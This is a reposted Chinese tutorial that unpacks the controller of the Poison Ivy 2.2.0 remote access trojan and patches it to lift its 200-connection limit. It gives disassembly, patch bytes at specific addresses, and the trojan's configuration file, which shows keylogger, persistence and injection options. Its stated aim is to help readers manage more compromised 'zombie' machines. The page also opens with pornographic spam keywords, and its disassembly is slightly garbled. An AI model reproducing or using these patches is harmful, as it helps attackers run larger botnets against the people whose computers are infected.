人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動(dòng)態(tài)

當(dāng)當(dāng)養(yǎng)“雞”專業(yè)戶:pi2.2.0脫殼及連接200限制去除逆向工程

發(fā)布日期:2022-01-01 18:03 | 文章來源:源碼中國
【文章標(biāo)題】: 當(dāng)當(dāng)養(yǎng)“雞”專業(yè)戶!
【文章作者】: KOOK1991
【作者郵箱】: WeKnow@163.com
【作者QQ號(hào)】: 371161181
【軟件名稱】: Poison Ivy 2.2.0
【下載地址】: http://www.poisonivy-rat.com/
【加殼方式】: 未知
【編寫語言】: Borland Delphi 6.0 - 7.0
【使用工具】: OllyICE、LoadPE、ImportREC、Topo
【操作平臺(tái)】: Win9x/NT/2000/XP
【軟件介紹】: 國外知名木馬,服務(wù)端才幾KB,強(qiáng)!
【作者聲明】: 我是菜鳥我怕誰?。?!
--------------------------------------------------------------------------------
【詳細(xì)過程】

初中的時(shí)候一直認(rèn)為擁有幾千臺(tái)肉雞才叫“黑客”。眨眼間,兩三年過去了,終于理解了“黑客”的真意,決心來看雪好
好學(xué)學(xué)。無奈高手太多,使我無地自容,近來偶有感想,便拿出來顯擺顯擺……

Poison Ivy,知道吧?很有名氣的木馬,可就不知道為啥在國內(nèi)火不起來,但我挺愛用。(受不了一些哥們,這么小的木
馬不用,成天背著幾百KB的鴿子滿天飛……)好東西總有限制,Poison Ivy 2.2.0也不例外,限制最大連接數(shù)為200。
于是我抄起了家伙,上路了……

首先,闡述一下這回的破解目標(biāo):

對(duì)Poison Ivy 2.2.0進(jìn)行逆向工程,增加自定義最大連接數(shù)的功能,以方便我們使用。讓更多的人成為養(yǎng)“雞”專業(yè)戶,
從而脫貧、致富、奔小康!?。。。?!

用PEiD查不出來殼,無奈。直接用OllyICE上,停在入口點(diǎn):

005A3060 > 60 pushad
005A3061 E8 00000000 call 005A3066
005A3066 5D pop ebp
005A3067 81ED 725B4000sub ebp, 00405B72
005A306D 64:A1 30000000 mov eax, dword ptr fs:[30]
005A3073 0FB640 02 movzxeax, byte ptr [eax 2]
005A3077 0AC0oral, al
005A3079 74 04 jeshort 005A307F
005A307B 33C0xor eax, eax

經(jīng)驗(yàn)太少,看不出是什么殼:-(直接上。走過005A3060,直接用ESP定律“HE 0012FFA4”,F(xiàn)9運(yùn)行,卡到這里:

005A3711 50 push eax ; PI.005A36C0
005A3712 33C0xor eax, eax
005A3714 64:FF30push dword ptr fs:[eax]
005A3717 64:8920mov dword ptr fs:[eax], esp
005A371A EB 01 jmp short 005A371D
005A371C 8700xchg dword ptr [eax], eax
005A371E 0000add byte ptr [eax], al
005A3720 0000add byte ptr [eax], al
005A3722 0000add byte ptr [eax], al
005A3724 0000add byte ptr [eax], al

F8一路向前

005A371D 0000add byte ptr [eax], al; 訪問違規(guī):正在寫入到[00000000]

Shift F8,來到:

7C92EAF0 8B1C24 mov ebx, dword ptr [esp]
7C92EAF3 51 push ecx
7C92EAF4 53 push ebx
7C92EAF5 E8 C78C0200 call 7C9577C1
7C92EAFA 0AC0oral, al
7C92EAFC 74 0C jeshort 7C92EB0A
7C92EAFE 5B pop ebx
7C92EAFF 59 pop ecx
7C92EB00 6A 00 push 0
7C92EB02 51 push ecx
7C92EB03 E8 11EBFFFF call ZwContinue
7C92EB08 EB 0B jmp short 7C92EB15
7C92EB0A 5B pop ebx
7C92EB0B 59 pop ecx
7C92EB0C 6A 00 push 0
7C92EB0E 51 push ecx
7C92EB0F 53 push ebx
7C92EB10 E8 3DF7FFFF call ZwRaiseException

Alt F9返回:

00519B33 00B0 97510055add byte ptr [eax 55005197], dh
00519B39 8BECmov ebp, esp ; 來到這里
00519B3B 83C4 F0add esp, -10
00519B3E B8 D8975100 mov eax, 005197D8
00519B43 E8 1CD0EEFF call 00406B64
00519B48 A1 ACCF5100 mov eax, dword ptr [51CFAC]
00519B4D 8B00mov eax, dword ptr [eax]
00519B4F E8 1822F7FF call 0048BD6C
00519B54 A1 ACCF5100 mov eax, dword ptr [51CFAC]
00519B59 8B00mov eax, dword ptr [eax]
00519B5B BA 989B5100 mov edx, 00519B98 ; ASCII "Poison Ivy"
00519B60 E8 FF1DF7FF call 0048B964
00519B65 8B0D 90CE5100mov ecx, dword ptr [51CE90] ; PI.0051F368
00519B6B A1 ACCF5100 mov eax, dword ptr [51CFAC]
00519B70 8B00mov eax, dword ptr [eax]
00519B72 8B15 E8FB5000mov edx, dword ptr [50FBE8] ; PI.0050FC34
00519B78 E8 0722F7FF call 0048BD84

哈哈,來到OEP,很熟悉的Delphi開頭。用LoadPE修正鏡像大小,完全Dump。再打開ImportREC,OEP填上00119B38,自動(dòng)查
找INT -> 獲取輸入表 -> Fix Dump,脫殼OK~~~~~

為了保險(xiǎn)起見,再用PEiD查一下脫殼后的文件――“Borland Delphi 6.0 - 7.0”,呵呵,沒錯(cuò),就是你?。?br/>
用Dede打開脫殼后的Poison Ivy,Dede卡住了,看來作者不是吃素的。

只好用OllyICE載入脫殼后的Poison Ivy -> Ultra String Reference -> Find ASCII。看了半天,終于找到了一句有用的
String:

Ultra String Reference, 條目 1813
Address=0051170A
Disassembly=mov edx, 00511844
Text String=please assign a password for the connection:

Ultra String Reference, 條目 1814
Address=0051170F
Disassembly=mov eax, 0051187C
Text String=new connection

直接雙擊來到這里

005116CD |. 50push eax ; /Parm
005116CE |. 68 7E660480push 8004667E ; |Cmd = FIONBIO
005116D3 |. 56push esi ; |Socket
005116D4 |. E8 D7BDF7FFcall ; \ioctlsocket
005116D9 |. 81BB 3C070000>cmp dword ptr [ebx 73C], 0C8
005116E3 |. 7C 0Bjlshort 005116F0
005116E5 |. 56push esi ; /Socket
005116E6 |. E8 8DBDF7FFcall ; \closesocket
005116EB |. E9 F7000000jmp 005117E7
005116F0 |> 8D45 F4 lea eax, dword ptr [ebp-C]
005116F3 |. 8B15 ACF35100 mov edx, dword ptr [51F3AC]
005116F9 |. E8 0632EFFFcall 00404904
005116FE |. 803D 9DF35100>cmp byte ptr [51F39D], 0
00511705 |. 74 12jeshort 00511719
00511707 |. 8D4D F4 lea ecx, dword ptr [ebp-C]
0051170A |. BA 44185100mov edx, 00511844 ; please assign a password for the connection:
0051170F |. B8 7C185100mov eax, 0051187C ; new connection
00511714 |. E8 AB41F2FFcall 004358C4
00511719 |> 8D4D C8 lea ecx, dword ptr [ebp-38]

哈哈,眾里尋他千百度,驀然回首――小樣,你在這?。?br/>
005116D9 |. 81BB 3C070000 C8000000cmp dword ptr [ebx 73C], 0C8; 比較當(dāng)前連接數(shù)和0C8(就是200嘛)
005116E3 |. 7C 0B jlshort 005116F0 ; 小于200則跳
005116E5 |. 56 push esi ; /Socket
005116E6 |. E8 8DBDF7FF call ; \closesocket 斷開連接

可見在005116DF處的C8000000就是最大連接數(shù),記住這個(gè)地址,后面有用的哦。

找到了判斷最大連接數(shù)的地方,可以直接把005116E3改成JMP,但有一點(diǎn),假如你肉雞太多,豈不被DDos了?看來這點(diǎn)還不
夠,我們還得控制最大連接數(shù),也就是讓程序隨我們的意愿來自動(dòng)修改005116DF處的最大連接數(shù)。考慮了半天,我決定用
Poison Ivy的配置文件Poison Ivy.ini來保存欲設(shè)的最大連接數(shù),以便我們?cè)诰唧w應(yīng)用時(shí)方便地修改。

先看看Poison Ivy.ini的內(nèi)容吧!

[Disclaimer]; 軟件的啟動(dòng)模式(是否顯示使用協(xié)議)
Show=1
[Placement] ; 軟件的窗口及控件的大小設(shè)置
MaximizedState=0
Top=491
Left=330
Width=744
Height=231
ConTop=145
ConLeft=110
ConWidth=650
ConHeight=380
Column0=50
Column1=90
Column2=90
Column3=80
Column4=80
Column5=60
Column6=45
Column7=63
Column8=67
Column9=50
Column10=57
DataTransfers=0
[Settings]; 很明顯是有關(guān)控制端的配置信息,就把最大連接數(shù)存這吧
ScrSize=75
ScrBits=24
ShareTo=
ShareToSocks=
ShareSocks=0
Port=3460
Password=admin
BalloonTip=1
MinimizeTray=1
CloseTray=0
Prompt=0
PromptExit=0
SimTransfers=2
SDrounds=3
Cache=1
WindowColor=1
TimestampColor=1
KeynameColor=1
WindowName=008000
Timestamp=0000FF
Keyname=808080
PromptDelete=1
AutoRefresh=0
TreeLayout=1
AutoLookUpdates=1
AutoRemove=1
HidePW=0
[Connection]; 配置被控端的信息1
DNS=127.0.0.1:3460,
ID=
Password=admin
Socks4=0
S4DNS=
[Startup]; 配置被控端的信息2
Startup=0
ActiveXKey={1B4B734A-CC89-9B4A-0705-060108040104}
[Installation]
Filename=
Copy=0
CopySystem=1
CopyWindows=0
Melt=0
Keylogger=0
Persistence=0
[Advanced] ; 配置被控端的信息3
ProcessMutex=)!VoqA.I4
KeyLoggerMutex=VLC9032Ca
CustomInject=0
CustomInjectProc=msnmsgr.exe

我就決定在[Settings]里添加一個(gè)子項(xiàng)“Crack”,用它來控制最大連接數(shù),OK,開工?。。。?br/>
要在配置文件中添加最大連接數(shù)的信息,最重要的就是讀出最大連接數(shù),那我沒就必須找到程序是如何讀配置文件的。重
新回到OllyICE中看String:

Ultra String Reference, 條目 1931
Address=00514609
Disassembly=mov edx, 00514C28
Text String=settings

Ultra String Reference, 條目 2070
Address=0051591E
Disassembly=mov edx, 00516828
Text String=settings

其中有很多的Settings,我只選了兩處,因?yàn)槠渌腟ettings都分布在這兩處附近:

00514609處:

005145EB |. 50push eax
005145EC |. B9 5C4C5100mov ecx, 00514C5C ; sharetosocks
005145F1 |. BA 284C5100mov edx, 00514C28 ; settings
005145F6 |. 8B45 FC mov eax, dword ptr [ebp-4]
005145F9 |. 8B30 mov esi, dword ptr [eax]
005145FB |. FF56 04 call dword ptr [esi 4]
005145FE |. A0 A7F35100mov al, byte ptr [51F3A7]
00514603 |. 50push eax
00514604 |. B9 744C5100mov ecx, 00514C74 ; sharesocks
00514609 |. BA 284C5100mov edx, 00514C28 ; settings
0051460E |. 8B45 FC mov eax, dword ptr [ebp-4]
00514611 |. 8B30 mov esi, dword ptr [eax]
00514613 |. FF56 14 call dword ptr [esi 14]
00514616 |. A1 7CF35100mov eax, dword ptr [51F37C]
0051461B |. 50push eax
0051461C |. B9 884C5100mov ecx, 00514C88 ; port
00514621 |. BA 284C5100mov edx, 00514C28 ; settings
00514626 |. 8B45 FC mov eax, dword ptr [ebp-4]
00514629 |. 8B30 mov esi, dword ptr [eax]
0051462B |. FF56 0C call dword ptr [esi C]
0051462E |. A1 ACF35100mov eax, dword ptr [51F3AC]
00514633 |. 50push eax
00514634 |. B9 984C5100mov ecx, 00514C98 ; password
00514639 |. BA 284C5100mov edx, 00514C28 ; settings
0051463E |. 8B45 FC mov eax, dword ptr [ebp-4]
00514641 |. 8B30 mov esi, dword ptr [eax]
00514643 |. FF56 04 call dword ptr [esi 4]
00514646 |. A0 9AF35100mov al, byte ptr [51F39A]

0051591E處:

005158F8. 50push eax
005158F9. B9 5C685100mov ecx, 0051685C ; sharetosocks
005158FE. BA 28685100mov edx, 00516828 ; settings
00515903. 8B45 F8 mov eax, dword ptr [ebp-8]
00515906. 8B18 mov ebx, dword ptr [eax]
00515908. FF13 call dword ptr [ebx]
0051590A. 8B55 A4 mov edx, dword ptr [ebp-5C]
0051590D. B8 B4F35100mov eax, 0051F3B4
00515912. E8 A9EFEEFFcall 004048C0
00515917. 6A 00push 0
00515919. B9 74685100mov ecx, 00516874 ; sharesocks
0051591E. BA 28685100mov edx, 00516828 ; settings
00515923. 8B45 F8 mov eax, dword ptr [ebp-8]
00515926. 8B18 mov ebx, dword ptr [eax]
00515928. FF53 10 call dword ptr [ebx 10]
0051592B. A2 A7F35100mov byte ptr [51F3A7], al
00515930. 68 840D0000push 0D84
00515935. B9 88685100mov ecx, 00516888 ; port
0051593A. BA 28685100mov edx, 00516828 ; settings
0051593F. 8B45 F8 mov eax, dword ptr [ebp-8]
00515942. 8B18 mov ebx, dword ptr [eax]
00515944. FF53 08 call dword ptr [ebx 8]
00515947. A3 7CF35100mov dword ptr [51F37C], eax
0051594C. 68 98685100push 00516898
00515951. 8D45 A0 lea eax, dword ptr [ebp-60]
00515954. 50push eax
00515955. B9 A8685100mov ecx, 005168A8 ; password
0051595A. BA 28685100mov edx, 00516828 ; settings
0051595F. 8B45 F8 mov eax, dword ptr [ebp-8]
00515962. 8B18 mov ebx, dword ptr [eax]
00515964. FF13 call dword ptr [ebx]
00515966. 8B55 A0 mov edx, dword ptr [ebp-60]

具體誰是程序開始運(yùn)行時(shí)讀取Poison Ivy.ini的地方,不知道。分別下斷點(diǎn),0051591E在開始時(shí)斷下來,00514609在結(jié)束
時(shí)斷下來,可見0051591E是讀取Poison Ivy.ini,00514609是保存Poison Ivy.ini,知道了這些,繼續(xù)??!

分析一下,程序是如何讀取Poison Ivy.ini里的內(nèi)容的:

00515930. 68 840D0000push 0D84 ; 壓入默認(rèn)端口
00515935. B9 88685100mov ecx, 00516888 ; port INI中保存端口信息的子項(xiàng)名稱
0051593A. BA 28685100mov edx, 00516828 ; settings INI中保存端口信息的項(xiàng)名稱
0051593F. 8B45 F8 mov eax, dword ptr [ebp-8]
00515942. 8B18 mov ebx, dword ptr [eax]
00515944. FF53 08 call dword ptr [ebx 8] ; 進(jìn)行讀取
00515947. A3 7CF35100mov dword ptr [51F37C], eax ; 把讀取的值保存到51F37C

00515930處之所以要把默認(rèn)端口壓入,是因?yàn)槌绦蚺略谧x不出配置文件中port這一子項(xiàng)時(shí),使用0來做端口導(dǎo)致出錯(cuò),可
見“push 0D84”的作用是讓程序在00515944讀不出配置文件該項(xiàng)時(shí)采用備用值0D84。

好了,打開Topo差入100字節(jié)代碼空間,(本人懶得去找了可用空間了,還是用工具吧,100字節(jié)肯定夠用。)Topo中顯示
100字節(jié)加到了005A3A33,下面開始添加代碼:

首先,用OllyICE二進(jìn)制編輯005A3A33,加入字符串“Crack”。(別忘了在“Crack”后加“00”。)

接著,在005A3A39處添加我們的代碼:

005A3A39 68 840D0000 push 0C8 ; 壓入默認(rèn)最大連接數(shù),保存?zhèn)溆弥?00
005A3A3E B9 333A5A00 mov ecx, 005A3A33 ; ASCII "Crack" INI中保存最大連接數(shù)的子項(xiàng)名稱
005A3A43 BA 28685100 mov edx, 00516828 ; ASCII "Settings" INI中保存最大連接數(shù)的項(xiàng)名稱
005A3A48 8B45 F8mov eax, dword ptr [ebp-8]
005A3A4B 8B18mov ebx, dword ptr [eax]
005A3A4D FF53 08call dword ptr [ebx 8] ; 進(jìn)行讀取
005A3A50 A3 DF165100 mov dword ptr [5116DF], eax ; 把讀取的最大連接數(shù)保存到上文提到的005116DF處,替換原來的最大連接數(shù)

方便起見,就讓程序從00515930處跳到我們這里吧,即:

00515930. 68 840D0000push 0D84

改為:

00515930.- E9 04E10800jmp 005A3A39

為了使程序正常運(yùn)行我們還要在005A3A50的下面加入如下代碼:

005A3A55 68 840D0000 push 0D84 ; 把00515930原有功能修改了,最后還是要加上的,所謂“有借有還,再借不難”
005A3A5A - E9 D61EF7FF jmp 00515935 ; 回歸原位,這就相當(dāng)于臺(tái)灣再咋拗,到頭還是得回歸咱中國,呵呵:-)

OK,用OllyICE保存EXE文件,讓我來測試一下……

打開Poison Ivy.ini在[Settings]下加入Crack=0,呵呵一個(gè)也連接不上了。把Crack=0改為10000,哈哈,肉雞出現(xiàn)了??!
再把Crack=0刪除,哦~~~~,肉雞又出現(xiàn)了?。。。?!成功!?。。?!

最后,給有對(duì)本文興趣的朋友留個(gè)小作業(yè):繼續(xù)對(duì)00514609處進(jìn)行逆向工程,使程序可以在關(guān)閉時(shí)自動(dòng)保存當(dāng)前的最大連
接數(shù)……OK,就到這把?。。?br/>

版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實(shí)時(shí)開通

自選配置、實(shí)時(shí)開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對(duì)1客戶咨詢顧問

在線
客服

在線客服:7*24小時(shí)在線

客服
熱線

400-630-3752
7*24小時(shí)客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部